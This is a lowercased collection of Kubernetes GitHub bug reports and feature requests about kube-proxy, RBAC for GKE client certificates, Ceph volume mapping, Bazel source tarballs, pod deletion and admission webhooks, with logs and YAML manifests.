\r from my reading of iptables/proxier.go, it seems as if the  deleteendpointconnections    func should exec    conntrack  to clear up udp entries on service endpoint change, but the only place i see that func called is from syncproxyrules  . that func looks complex and possibly like it is only run occasionally and not on service/endpoint changes.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.6\ , gitcommit:\ 6260bb08c46c31eea6cb538b34a9ceb3e406689c\ , gittreestate:\ clean\ , builddate:\ 2017-12-21t06:34:11z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8+\ , gitversion:\ v1.8.6-gke.0\ , gitcommit:\ ee9a97661f14ee0b1ca31d6edd30480c89347c79\ , gittreestate:\ clean\ , builddate:\ 2018-01-05t03:36:42z\ , goversion:\ go1.8.3b4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r  also tested on 1.7.11-gke.1 \r - cloud provider or hardware configuration:\r gke-managed clusters, google cloud.\r - os  e.g. from /etc/os-release :\r tried both:\r    \r name=\ ubuntu\ \r version=\ 16.04.3 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.3 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r and\r    \r build_id=10032.71.0\r name=\ container-optimized os\ \r kernel_commit_id=c4c6234ae4f384ce00819c41b48ca8f6f1fa3ba8\r google_crash_id=lakitu\r version_id=63\r bug_report_url=https://crbug.com/new\r pretty_name=\ container-optimized os from google\ \r version=63\r google_metrics_product_id=26\r home_url=\ https://cloud.google.com/compute/docs/containers/vm-image/\ \r id=cos\r    \r - kernel  e.g.  uname -a  :\r    \r linux gke-cluster-01-kube17-04b-6782975f-4xwn 4.4.86+  1 smp thu dec 7 20:11:11 pst 2017 x86_64 intel r  xeon r  cpu @ 2.60ghz genuineintel gnu/linux\r    \r \r and\r \r    \r linux gke-udp-ubuntu-test-default-pool-cf65ad93-bpnb 4.4.0-1027-gke  27-ubuntu smp thu aug 10 13:13:08 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r  \r   what happened  :\r when provisioning a gke cluster with google-api-go-client, the masterauth client certificate is set to subject: cn=client. when i try to use the masterauth certs to connect to the cluster it says client has no permissions. \r \r >kubectl get ns\r >error from server  forbidden : namespaces is forbidden: user \ client\  cannot list namespaces at the cluster scope: unknown user \ client\ \r \r if i use gclient to get other credentials, i can modify rbac to fix this with the following code:\r    yaml\r clusterrolebinding \r apiversion: rbac.authorization.k8s.io/v1 \r metadata: \r name: client\r subjects: \r - kind: user \r name: client\r roleref: \r kind: clusterrole \r name: \ cluster-admin\  \r apigroup: rbac.authorization.k8s.io\r    \r \r   what you expected to happen  :\r i would expect that \ client\  would have admin permissions on the cluster similar to basic auth which has full admin, or that the cert would simply be an admin cert subject: cn=admin  or that subject common name could be configurable on cluster create via the api so users could choose.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - create a new gke cluster\r - use gcloud container clusters describe\r - try to connect to cluster using masterauth: clientcertificate and clientkey and do any action on the server.\r \r   anything else we need to know?  :\r as an example basic auth gives you admin user, but the more secure certs gives you a user with no permissions.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.10.4-gke.2\r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  >  \r \r   what happened  :\r kube-proxy pod return error failed to execute iptables-restore exit status 2\r   what you expected to happen  :\r kube-proxy pod in running state\r   how to reproduce it  as minimally and precisely as possible   :\r \r       kubectl logs kube-proxy-t4x8x -n kube-system\r \ti0720 05:19:28.533050       1 feature_gate.go:190  feature gates: map  \r \ttime=\ 2018-07-20t05:19:33z\  level=warning msg=\ running modprobe ip_vs failed with message:  modprobe: error: could not insert 'ip_vs': exec format error\ insmod /lib/modules/3.10.0-862.9.1.el7.x86_64/kernel/net/netfilter/ipvs/ip_vs.ko.xz , error: exit status 1\ \r \ttime=\ 2018-07-20t05:19:33z\  level=error msg=\ could not get ipvs family information from the kernel. it is possible that ipvs is not enabled in your kernel. native loadbalancing will not work until this is fixed.\ \r \tw0720 05:19:33.061016       1 server_others.go:289  flag proxy-mode=\ \  unknown, assuming iptables proxy\r \ti0720 05:19:33.061964       1 server_others.go:138  using iptables proxier.\r \tw0720 05:19:33.067870       1 proxier.go:468  clustercidr not specified, unable to distinguish between internal and external traffic\r \ti0720 05:19:33.067975       1 server_others.go:171  tearing down inactive rules.\r \ti0720 05:19:34.856307       1 server.go:426  version: v1.9.5\r \ti0720 05:19:34.865582       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_max' to 524288\r \ti0720 05:19:34.865626       1 conntrack.go:52  setting nf_conntrack_max to 524288\r \ti0720 05:19:34.869796       1 conntrack.go:83  setting conntrack hashsize to 131072\r \ti0720 05:19:34.877312       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_established' to 86400\r \ti0720 05:19:34.877355       1 conntrack.go:98  set sysctl 'net/netfilter/nf_conntrack_tcp_timeout_close_wait' to 3600\r \ti0720 05:19:34.877526       1 config.go:102  starting endpoints config controller\r \ti0720 05:19:34.877545       1 controller_utils.go:1019  waiting for caches to sync for endpoints config controller\r \ti0720 05:19:34.877580       1 config.go:202  starting service config controller\r \ti0720 05:19:34.877584       1 controller_utils.go:1019  waiting for caches to sync for service config controller\r \ti0720 05:19:34.977687       1 controller_utils.go:1026  caches are synced for service config controller\r \ti0720 05:19:34.977695       1 controller_utils.go:1026  caches are synced for endpoints config controller\r \te0720 05:19:35.934630       1 proxier.go:1667  failed to execute iptables-restore: exit status 2  iptables-restore v1.6.0: invalid mask  128' specified\r \terror occurred at line: 8\r \ttry  iptables-restore -h' or 'iptables-restore --help' for more information.\r \t \r \te0720 05:19:35.952002       1 proxier.go:1667  failed to execute iptables-restore: exit status 2  iptables-restore v1.6.0: invalid mask  128' specified\r \terror occurred at line: 12\r \ttry  iptables-restore -h' or 'iptables-restore --help' for more information.\r \t \r \te0720 05:20:05.226208       1 proxier.go:1667  failed to execute iptables-restore: exit status 2  iptables-restore v1.6.0: invalid mask  128' specified\r \terror occurred at line: 25\r \ttry  iptables-restore -h' or 'iptables-restore --help' for more information.\r \t \r \r   anything else we need to know?  :\r \r \tkube-system   etcd-master-01                      1/1       running             7          1d\r \tkube-system   kube-apiserver-master-01            1/1       running             8          1d\r \tkube-system   kube-controller-manager-master-01   1/1       running             7          1d\r \tkube-system   kube-dns-6f4fd4bdf-hpwjd                   0/3       containercreating   0          19h\r \tkube-system   kube-proxy-t4x8x                           1/1       running             0          17h\r \tkube-system   kube-scheduler-master-01            1/1       running             6          1d\r \tkube-system   kubernetes-dashboard-68d7c968ff-hn9qf      0/1       containercreating   0          1d\r \tkube-system   weave-net-5jpwj                            1/2       crashloopbackoff    150        12h\r \r   environment  :\r - kubernetes version  use  kubectl version  :  server version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.5\r - cloud provider or hardware configuration: vsphere\r - os  e.g. from /etc/os-release : centos linux release 7.5.1804  core \r - kernel  e.g.  uname -a  :  3.10.0-862.9.1.el7.x86_64\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r the following tests are failing:\r    \r  sig-storage  subpath atomic writer volumes should support subpaths with configmap pod \r  sig-storage  subpath atomic writer volumes should support subpaths with configmap pod with mountpath of existing file\r  sig-storage  subpath atomic writer volumes should support subpaths with downward pod\r  sig-storage  subpath atomic writer volumes should support subpaths with projected pod\r  sig-storage  subpath atomic writer volumes should support subpaths with secret pod\r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r just run one of the above tests.\r \r   anything else we need to know?  :\r \r test: https://k8s-testgrid.appspot.com/conformance-all local-up-cluster-containerized,%20master%20 dev \r \r example: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/68230/pull-kubernetes-local-e2e-containerized/2926/\r \r  /assign

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r i tried to create ceph persistent volume but following error occurred.\r    \r events:\r   type     reason                  age   from                     message\r   ----     ------                  ----  ----                     -------\r   normal   successfulattachvolume  17m   attachdetach-controller  attachvolume.attach succeeded for volume \ pv-gerrit\ \r   normal   scheduled               17m   default-scheduler        successfully assigned default/gerrit-deployment-799c676c78-qcwf9 to worker2\r   warning  failedmount             15m   kubelet, worker2         mountvolume.waitforattach failed for volume \ pv-gerrit\  : rbd: map failed exit status 6, rbd output: 2019-01-17 06:44:01.262283 7f0b80726100 -1 did not load config file, using default settings.\r 2019-01-17 06:44:01.264429 7f0b80726100 -1 auth: unable to find a keyring on /etc/ceph/ceph.client.admin.keyring,/etc/ceph/ceph.keyring,/etc/ceph/keyring,/etc/ceph/keyring.bin:  2  no such file or directory\r rbd: sysfs write failed\r 2019-01-17 06:44:01.310317 7f0b80726100 -1 auth: unable to find a keyring on /etc/ceph/ceph.client.admin.keyring,/etc/ceph/ceph.keyring,/etc/ceph/keyring,/etc/ceph/keyring.bin:  2  no such file or directory\r rbd image feature set mismatch. you can disable features unsupported by the kernel with \ rbd feature disable\ .\r in some cases useful info is found in syslog - try \ dmesg | tail\  or so.\r rbd: map failed:  6  no such device or address\r   warning  failedmount  15m  kubelet, worker2  mountvolume.waitforattach failed for volume \ pv-gerrit\  : rbd: map failed exit status 6, rbd output: 2019-01-17 06:44:01.918235 7fcb16b75100 -1 did not load config file, using default settings.\r 2019-01-17 06:44:01.920322 7fcb16b75100 -1 auth: unable to find a keyring on /etc/ceph/ceph.client.admin.keyring,/etc/ceph/ceph.keyring,/etc/ceph/keyring,/etc/ceph/keyring.bin:  2  no such file or directory\r rbd: sysfs write failed\r 2019-01-17 06:44:01.959457 7fcb16b75100 -1 auth: unable to find a keyring on /etc/ceph/ceph.client.admin.keyring,/etc/ceph/ceph.keyring,/etc/ceph/keyring,/etc/ceph/keyring.bin:  2  no such file or directory\r rbd image feature set mismatch. you can disable features unsupported by the kernel with \ rbd feature disable\ .\r in some cases useful info is found in syslog - try \ dmesg | tail\  or so.\r rbd: map failed:  6  no such device or address\r \r    \r \r   what you expected to happen  :\r i have some feature-set enabled on rbd image  e.g exclusive-lock, journaling  which are currently not supported by krbd, so the mapping with  rbd  fails with   feature set mismatch   which is expected but the plugin should try  rbd-nbd  tool  which successfully maps, tested manually  as mentioned in this  pr  https://github.com/kubernetes/kubernetes/pull/58916 . but it seems like it only tries  rbd  and error-out.\r   how to reproduce it  as minimally and precisely as possible   :\r install ceph-common and rbd-nbd packages on all nodes.\r create persistent volume\r    \r apiversion: v1\r kind: persistentvolume\r metadata:\r     name: pv-gerrit\r spec:\r     capacity:\r       storage: 500mi\r     accessmodes:\r       - readwriteonce\r     rbd:\r       monitors:\r         - ' <ip>:<port>'\r       pool: rbd\r       image: test\r       user: admin\r       secretref:\r         name: ceph-secret\r       fstype: ext4\r       readonly: false\r     persistentvolumereclaimpolicy: recycle\r    \r create persistent volume claim\r    \r kind: persistentvolumeclaim\r apiversion: v1\r metadata:\r   name: pvc-gerrit\r spec:\r   accessmodes:\r     - readwriteonce\r   resources:\r     requests:\r       storage: 500mi\r    \r create a deployment and mount the volume.\r    \r apiversion: apps/v1beta1\r kind: deployment\r metadata:\r   name: nginx-deployment\r spec:\r   replicas : 1\r   selector:\r     matchlabels:\r       app: nginx-deployment\r   strategy:\r     type: recreate\r   template:\r     metadata:\r       labels:\r         app: nginx-deployment\r     spec:\r       volumes:\r          - name: nginx-data\r            persistentvolumeclaim:\r              claimname: test-pvc\r       containers:\r       - image: nginx:alpine\r         name: gerrit\r         imagepullpolicy: ifnotpresent\r             use secret in real usage\r         ports:\r         - containerport: 80\r         volumemounts:\r         - name: nginx-data\r           mountpath: \ /var/www/html\ \r    \r   anything else we need to know?  :\r all k8s nodes have  ceph-common  packages and  rbd-nbd  tool installed. manual mapping of rbd with rbd-nbd tool on each k8s node is successfully tested using  rbd-nbd map <pool-name>/<image-name> .\r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-10t23:28:14z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.2\ , gitcommit:\ cff46ab41ff0bb44d8584413b598ad8360ec1def\ , gittreestate:\ clean\ , builddate:\ 2019-01-10t23:28:14z\ , goversion:\ go1.11.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r ubuntu 16.04.3 lts\r - kernel  e.g.  uname -a  :\r 4.18.0-041800-generic\r - install tools:\r - others:\r ceph version: 13.2.4  b10be4d44915a4d78a8e06aa31919e74927b142e  mimic  stable \r rbd-nbd version: ceph version 10.2.11  e4b061b47f07f583c92a050d9e84b1813a35671e \r

helpers to add/remove taints/tolerations should be extracted from kubectl module into pkg/api/helpers.go or as separate module in pkg/util  related: https://github.com/kubernetes/kubernetes/pull/32498  cc @kevin-wangzefeng

we are having trouble understanding kubernetes resource requests.  we run a cluster of 3x 1cpu / 3.75gb  our issue is this: we are allocating really small cpu requests to each container in our pods so the pod will be scheduled onto a node. our containers are basically all web containers running nodejs or php so their cpu is pretty low and occasionally bursts.  i personally just don't see the point in having to declaratively allocate stupidly low cpu requests to each container in our deployments when we know in advanced they will use much more cpu then this request but never exhaust the node as a whole. its just not a concern although kubernetes seems to force us into this thinking.  in the beginning we were not allocating any requests at all, although we ran into problems as kubernetes allocated defaults. these defaults were exceeded when updating our deployments and a rolling update tried to allocate pods to a node with insufficient resources...    why does kubernetes not have default resource allocation of 0 so users can simply ignore these scheduling rules?

during the review of pr https://github.com/kubernetes/kubernetes/pull/51209, @vishh mentioned that \ ideally, allocation of resources would happen as part of pod creation so as to fail pods during admission whose extended resource request cannot be satisfied by the kubelet due to any reason.\r for example, a device may have just turned unhealthy and the scheduler may not have noticed it. note there can be multiple entities scheduling pods on to nodes.\r node level admission control is the last line of defence against state propagation issues in k8s.\r if not for allocation during pod admission, i'd at-least like to see an admission handler  we have quite a few of them , that validates that devices are available to satisfy a pod's request. essentially a dry run of the logic here.\ \r \r filing this issue to follow up on this.

the original pr that introduced the feature:  19944.\r \r before 1.6, if this flag was set, kubelet would label the docker containers accordingly so that cadvisor could report the custom metrics. the stats are included in the of kubelet's summary api   /stats/summary  . \r since 1.6+, kubelet switched to using the cri implementation, and this feature was dropped silently. \r \r iiuc, the feature was in the alpha phase, and hpa has already moved away  in 1.6  from consuming the custom metrics through kubelet. can we simply deprecate the flag  since it's not actually used anywhere  or are there any concerns?\r \r /cc @mwielgus @dchen1107

is this a bug report or feature request?  :\r  \r \r   what happened  :\r use case 1:\r a pod  in a deployment spec  contains container 'app' developed by team a  app developers  and container 'monitor' developed by team b  platform developers . the containers share a volume containing critical assets for the 'app' container. the 'monitor' container monitors and updates a those assets. some asset updates require a restart of the 'app' container  hard requirement  and team b, as the platform supporting team, wants to provide a solution to restart the 'app' container without team a requiring to do anything about it. all team a must do is make sure their app can handle a graceful shutdown.\r \r the aforementioned issue could be solved in the following ways, all of which are unappealing due to various reasons:\r a  the 'monitor' container can send a sigterm to the 'app' container process  https://github.com/kubernetes/kubernetes/issues/1615 .\r b  team b needs a way to add a liveness probe on the container 'app' without overwriting team a's liveness probe, i.e. support multiple liveness probes  https://github.com/kubernetes/kubernetes/issues/37218 .\r c  the 'monitor' container can talk to the kube-apiserver to do a pod restart by changing the deployment spec. this requires pods to have acls to the apiserver s , which we don't want.\r \r use case 2:\r a pod contains a container, among others, that encounters an i/o issue on the host its running on, for example low disk space or network issue, due to which it constantly fails and the kubelet constantly restarts it. in this scenario, it would be nice to be able to re-bounce the pod to a different host altogether under some controlled conditions. sure the 'different host' may not be guaranteed, however, at least it presents an opportunity to do so. this may be against the semantics of a pod as defined today, however, this serves as an example where pod re-bounce is the only solution.\r \r \r   what you expected to happen  :\r the ability to declare a pod-level policy that declares the appropriate action for container failures escalated to the pod. for example, upon a container failure, a pod can decide to continue restarting that container alone for n retries  n could be infinity  and finally give up by marking the pod unhealthy so that manual actions can be taken. another example is a policy where a pod could, upon container failure, decide to restart  all  containers. in yet another example, a pod may also have a policy where, upon container failure, the pod decides to kill itself entirely so that kube can rebounce it.\r \r one of the more popular example with similar semantics is the 'supervision' mechanism in akka.

some code uses  ls  to check if binary exist. but it does not work as expected.\r use  test -x file   instead.\r  \r

i've been experimenting with producing a kubernetes src tarball from bazel that includes all generated code, such that an end user  like an os distro  would be able to build kubernetes binaries using solely  go build .\r \r the kubernetes-src.tar.gz produced by the  build rule in build/release-tars  https://github.com/kubernetes/kubernetes/blob/f196b7c7523dbf0d6ed703a93af73f54e9d2e42c/build/release-tars/build l39-l52  almost already works, except that the staging directory symlinks under vendor/k8s.io are not handled correctly; some of the auxiliary files are included, but none of the go files.\r \r for example:\r    console\r $ bazel build build/release-tars/kubernetes-src.tar.gz --define package_src=true\r info: analysed target //build/release-tars:kubernetes-src.tar.gz  2 packages loaded .\r info: found 1 target...\r target //build/release-tars:kubernetes-src.tar.gz up-to-date:\r   bazel-bin/build/release-tars/kubernetes-src.tar.gz\r info: elapsed time: 3.197s, critical path: 2.37s\r info: build completed successfully, 3 total actions\r $ tar tzvf bazel-bin/build/release-tars/kubernetes-src.tar.gz | grep vendor/k8s.io/apimachinery\r dr-xr-xr-x 0/0               0 1969-12-31 16:00 kubernetes/vendor/k8s.io/apimachinery/\r dr-xr-xr-x 0/0               0 1969-12-31 16:00 kubernetes/vendor/k8s.io/apimachinery/.github/\r -r-xr-xr-x 0/0             150 1969-12-31 16:00 kubernetes/vendor/k8s.io/apimachinery/.github/pull_request_template.md\r -r-xr-xr-x 0/0             730 1969-12-31 16:00 kubernetes/vendor/k8s.io/apimachinery/contributing.md\r dr-xr-xr-x 0/0               0 1969-12-31 16:00 kubernetes/vendor/k8s.io/apimachinery/godeps/\r -r-xr-xr-x 0/0            4873 1969-12-31 16:00 kubernetes/vendor/k8s.io/apimachinery/godeps/godeps.json\r -r-xr-xr-x 0/0              27 1969-12-31 16:00 kubernetes/vendor/k8s.io/apimachinery/godeps/owners\r -r-xr-xr-x 0/0             136 1969-12-31 16:00 kubernetes/vendor/k8s.io/apimachinery/godeps/readme\r -r-xr-xr-x 0/0           11358 1969-12-31 16:00 kubernetes/vendor/k8s.io/apimachinery/license\r -r-xr-xr-x 0/0             243 1969-12-31 16:00 kubernetes/vendor/k8s.io/apimachinery/owners\r -r-xr-xr-x 0/0            1251 1969-12-31 16:00 kubernetes/vendor/k8s.io/apimachinery/readme.md\r -r-xr-xr-x 0/0             148 1969-12-31 16:00 kubernetes/vendor/k8s.io/apimachinery/code-of-conduct.md\r dr-xr-xr-x 0/0               0 1969-12-31 16:00 kubernetes/vendor/k8s.io/apimachinery/pkg/\r -r-xr-xr-x 0/0              74 1969-12-31 16:00 kubernetes/vendor/k8s.io/apimachinery/pkg/owners\r    \r  directory permissions also seem to be incorrect, which seems to be a bug in our fast build_tar implementation. the bazel-bundled one does not have this bug. \r \r i was able to fix this locally with a few basic changes:\r   adding  build  files to all of the  staging/src/k8s.io  repos at their root to prevent any of these auxiliary files from ending up in the tarball. i believe this is because these files are matching the  package-srcs  glob in  vendor/build , but the  all-srcs  list does not follow symlinks  and hence the go files are missing, since those directories have build files already .\r   explicitly adding a symlink attribute to the  kubernetes-src   pkg_tar  rule with the staging symlinks:\r    python\r staging_dirs =  \r     \ api\ ,\r     \ apiextensions-apiserver\ ,\r     \ apimachinery\ ,\r     \ apiserver\ ,\r     \ client-go\ ,\r     \ code-generator\ ,\r     \ kube-aggregator\ ,\r     \ metrics\ ,\r     \ sample-apiserver\ ,\r     \ sample-controller\ ,\r  \r \r pkg_tar \r     name = \ kubernetes-src\ ,\r     srcs = select {\r         \ :package_src\ :  \ //:all-srcs\  ,\r         \ //conditions:default\ :  \ readme-src.txt\  ,\r     } , \r     extension = \ tar.gz\ ,\r     package_dir = \ kubernetes\ ,\r     strip_prefix = select {\r         \ :package_src\ : \ //\ ,\r         \ //conditions:default\ : \ .\ ,\r     } , \r     symlinks = {\ kubernetes/vendor/k8s.io/%s\  % dir: \ ../../staging/src/k8s.io/%s\  % dir for dir in staging_dirs},\r     tags =  \ no-cache\  ,\r  \r    \r \r what i haven't figured out yet is how best to manage that list of staging directories.  extend kazel? not excited about that, though. \r \r one other change is that we need to declare an explicit dependency on generated source files, since they are not picked up by globs; for example, in  pkg/generated/openapi/build :\r    python\r filegroup \r     name = \ package-srcs\ ,\r     srcs = glob  \   \    +  \ :zz_generated.openapi\  ,\r     tags =  \ automanaged\  ,\r     visibility =  \ //visibility:private\  ,\r  \r    \r \r the good news is that with these changes i can extract kubernetes-src.tar.gz and  go build k8s.io/kubernetes/cmd/kube-apiserver  successfully.\r  you can't do that in k/k without first running  make generated_files  or using bazel. \r \r /assign

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  : bug report\r \r  \r   what happened  : one of the fluentd pods keeps crashing with  unexpected error error_class=typeerror error=\ no implicit conversion of symbol into integer\  \r \r   what you expected to happen  : the pod should start normally.\r \r   how to reproduce it  as minimally and precisely as possible   : i'm not sure how to easily reproduce it but this is an upstream bug, https://github.com/fluent/fluentd/issues/1894, that seems to have been solved in fluentd 1.1.1, https://github.com/fluent/fluentd/issues/1760.

bug report  :\r \r  \r   what happened  :\r \r cannot force delete pods in  unknown  state, after upgrade to  1.11 .\r    \r kubectl get pod mypod-0 -o wide                 \r name         ready     status    restarts   age       ip             node\r mypod-0      1/1       unknown   0          19d       10.112.7.248   node1\r    \r    \r kubectl delete pod mypod-0 --grace-period=0 --force\r warning: immediate deletion does not wait for confirmation that the running resource has been terminated. the resource may continue to run on the cluster indefinitely.\r pod \ mypod-0\  force deleted\r    \r but nothing happend, pod is still there\r \r   what you expected to happen  :\r \r pod successful removed.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r   run pod on some node\r   force shutdown the node\r   try to remove the pod\r \r   anything else we need to know?  :\r \r pod is still there even if you remove the node from kubernetes cluster.\r simmilar issue for old k8s version: https://github.com/kubernetes/kubernetes/issues/51333\r \r   environment  :\r - kubernetes version  use  kubectl version  :  v1.11.0 \r - cloud provider or hardware configuration:  bare-metal \r - os  e.g. from /etc/os-release :  ubuntu 16.04.4 lts \r - kernel  e.g.  uname -a  :  4.13.0-37-generic \r - install tools:  kubeadm \r - others:\r

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r \r \r > uncomment only one, leave it on its own line:\r >\r >  \r  \r \r   what happened  :\r \r when i submit a pod to be processed by a mutating webhook that will update the service account and securitycontext i'm finding that my webhook has to take much more into account then updating a single spot because the other admission plugins have already been run so i not only have to update the service account and runasuser, but also update the mounted service account.  example, here's the incoming pod definition:\r \r    \r apiversion: v1\r kind: pod\r metadata:\r   name: krbtest\r   labels:\r     name: krbtest\r   annotations:\r     com.tremolosecurity.openshift: krb5_sidecar\r spec:\r   containers:\r     - resources:\r       image: mlbiam/krbdonothing\r       name: motorcycle\r    \r but the definition that comes is from the webhook is:\r    \r ---\r request:\r   uid: fed8d290-999e-11e8-bac5-525400887c40\r   userinfo:\r     injectedidentity: eyjrawqioijdtj1qd3qtc2lnlcbpvt1kzxysie89zgv2lcbmpwrldiwgu1q9zgv2lcbdpwrldi1dtj1qd3qtc2lnlcbpvt1kzxysie89zgv2lcbmpwrldiwgu1q9zgv2lcbdpwrldi0xnti4njg0ndk0mti5iiwiywxnijoiulmyntyifq.eyjpc3mioijodhrwczovl3vuaxnvbi1vcgeudw5pc29ulnn2yy5jbhvzdgvylmxvy2fsiiwiyxvkijoiahr0chm6ly9vcgeudw5pc29ulnn2yyisimv4cci6mtuzmzu3njk0mywianrpijoibko1bflpn2rln0zmb3uta1y0rddezyisimlhdci6mtuzmzu3njg4mywibmjmijoxntmzntc2odizlcjub25jzsi6iji2ztuyotmwlwi0njctndkwyy1hn2y2ltc0ytk0mmq5mza0nyisinn1yii6imzyzwvpcgezqgvuddjrmtiuzg9tywlulmnvbsisinjvbgvzijpbik9wzw5taglmdcatigfkbwluaxn0cmf0b3jzlwzyzwvpcgezlxbyb2ply3qilcjpcgvuu2hpznqglsblzgl0b3itznjlzwlwytmtchjvamvjdcisikzyzwvjueeglsbhchbsawnhdglvbnmtb3blbnnoawz0iiwirnjlzulqqsatigfwcgxpy2f0aw9ucy1vcgvuc2hpznqta2v5dgficyjdlcj1awrudw1izxiioiixnja4mti0ntailcjzys10b2tlbii6inj1bi1hcy11c2vylxrva2vulwdidgnniiwic2etzg9ja2vyy2znijoicnvulwfzlxvzzxitzg9ja2vyy2znlwpwazz0in0.iimmdoi_njgqlk7uptkqs9wsd-lpxfgbbjp2u1ff1cyrkmhjmfiq9rvi5ligtzglweiacsfkicitqvwx2uccqkhpa4_dranp7ch0exy8xxcdaxrrzdy4q_wda3npymwqpcwtxe7etxajnujcjyxz2j9hqxg08wqb0pitqcwhsmleve6vdaqdjvevk2qne9mrs2eb-jgpfw2kudc4q-yx0veq9oa-eft9rc7ubmllomdiuako_jjtsuauze9miz0pv6sdrp_tomngl0-_fstivp7odskc6wz5aykyuygeele2oouabhnnrxce7qll6y6d7dxnumf2sdw194_k6qbr_q\r     uid: 8e804b18-7e5f-11e8-acd7-525400887c40\r     extra:\r       scopes.authorization.openshift.io:\r       - user:full\r     groups:\r     - administrators-freeipa3-project\r     - editor-freeipa3-project\r     - system:authenticated:oauth\r     - system:authenticated\r     username: freeipa3@ent2k12.domain.com\r   resource:\r     resource: pods\r     version: v1\r     group: ''\r   kind:\r     kind: pod\r     version: v1\r     group: ''\r   namespace: freeipa3-project\r   oldobject: \r   operation: create\r   object:\r     metadata:\r       name: krbtest\r       namespace: freeipa3-project\r       creationtimestamp: \r       annotations:\r         com.tremolosecurity.openshift: krb5_sidecar\r         openshift.io/scc: restricted\r       labels:\r         name: krbtest\r     spec:\r       dnspolicy: clusterfirst\r       terminationgraceperiodseconds: 30\r       serviceaccountname: default\r       imagepullsecrets:\r       - name: default-dockercfg-6zz7j\r       volumes:\r       - name: default-token-s6d2l\r         secret:\r           secretname: default-token-s6d2l\r       containers:\r       - image: mlbiam/krbdonothing\r         imagepullpolicy: always\r         terminationmessagepolicy: file\r         terminationmessagepath: \ /dev/termination-log\ \r         name: motorcycle\r         resources: {}\r         securitycontext:\r           runasuser: 1000300000\r           capabilities:\r             drop:\r             - kill\r             - mknod\r             - setgid\r             - setuid\r         volumemounts:\r         - mountpath: \ /var/run/secrets/kubernetes.io/serviceaccount\ \r           name: default-token-s6d2l\r           readonly: true\r       serviceaccount: default\r       securitycontext:\r         selinuxoptions:\r           level: s0:c17,c14\r         fsgroup: 1000300000\r       restartpolicy: always\r       schedulername: default-scheduler\r       nodeselector:\r         node-role.kubernetes.io/compute: 'true'\r     status: {}\r apiversion: admission.k8s.io/v1beta1\r kind: admissionreview\r    \r the service accounts are set, secrets are mounted, etc so i need to not only inject the securityconectext and serviceaccount name, but update all the secret token volume mounts.\r \r   what you expected to happen  :\r \r it would be good to have the ability to run a \ pre processing\  webhook that lets me make changes to a pod definition before the standard admission plugins so that i can inherit the security processing of the standard admission plugins.   it would vastly simplify this use case  and probably others .  if i received the former  simpler  definition then i would need to make two patch updates instead of a half dozen that require knowing the name of secrets for a service account to do correctly.\r \r i originally opened this request on openshift  https://github.com/openshift/origin/issues/20543 , but was told it was a k8s design decision so i opened a feature request here. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1.  deploy a mutating webhook for pods\r 2.  deploy a pod\r \r \r   anything else we need to know?  :\r \r reproduced with openshift origin  okd  3.9\r \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ \ , minor:\ \ , gitversion:\ v1.9.1+cbc5b49\ , gitcommit:\ cbc5b49\ , gittreestate:\ clean\ , builddate:\ 2018-05-30t14:04:01z\ , goversion:\ go1.10.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ \ , minor:\ \ , gitversion:\ 